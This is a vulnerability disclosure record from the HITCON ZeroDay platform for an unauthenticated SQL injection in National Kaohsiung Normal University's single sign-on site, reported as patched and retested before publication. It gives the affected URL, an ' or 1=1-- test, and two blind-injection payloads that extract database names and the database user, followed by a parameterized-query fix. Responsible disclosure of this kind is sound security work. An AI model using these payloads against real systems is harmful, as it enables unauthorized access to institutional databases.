Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00051
- Vendor: 國立高雄師範大學
- Title: 國立高雄師範大學 單一登入平台未經授權的 SQL Injection 漏洞
- Introduction: 未經授權的 SQL Injection 漏洞
- 感謝函
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2026/01/10 20:21:40 : 新提交 (由 anonymous 更新此狀態)
- 2026/01/12 19:25:43 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/01/27 16:54:03 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/01/27 16:54:03 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/01/27 16:54:04 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/01/27 17:20:07 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/01/31 14:50:05 : 確認已修補 (由 anonymous 更新此狀態)
- 2026/02/04 03:00:13 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00051
- 通報者:xcultivation (anonymous)
- 風險:嚴重
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
將 cType 參數改為 nonexist 無結果顯示
https://sso.nknu.edu.tw/Software/FreeSoftwareAndFreeware.aspx?cType=nonexist
加上' or 1=1-- 則列出所有類別結果, 表示有 Boolean Based SQL 注入
https://sso.nknu.edu.tw/Software/FreeSoftwareAndFreeware.aspx?cType=nonexist' or 1=1--
Poc
僅列出前三比資料庫名稱及資料庫使用者名稱
payload
nonexist' OR (SUBSTRING((SELECT name FROM (SELECT name, ROW_NUMBER() OVER (ORDER BY name) AS row FROM master..sysdatabases) AS t WHERE row = 1), §1§, 1) = '§a§')--
前三筆資料庫名稱: acad、academicaffairs、academicaffairs_20171015
payload
nonexist' OR (ASCII(SUBSTRING(SYSTEM_USER, §1§, 1)) = §65§)--
資料庫使用者名稱: sso_IIS (權限應該不小)
修補建議
請勿將使用者輸入直接拼接至 SQL 語句
**採用參數化查詢**
程式碼範例 (ASP.NET/C#)
```
string sql = "SELECT * FROM SoftwareList WHERE cType = @cType";
using (SqlConnection conn = new SqlConnection(yourConnectionString))
{
SqlCommand cmd = new SqlCommand(sql, conn);
cmd.Parameters.Add("@cType", SqlDbType.NVarChar, 50).Value = requestQuery;
conn.Open();
SqlDataReader reader = cmd.ExecuteReader();
// 處理資料...
}
```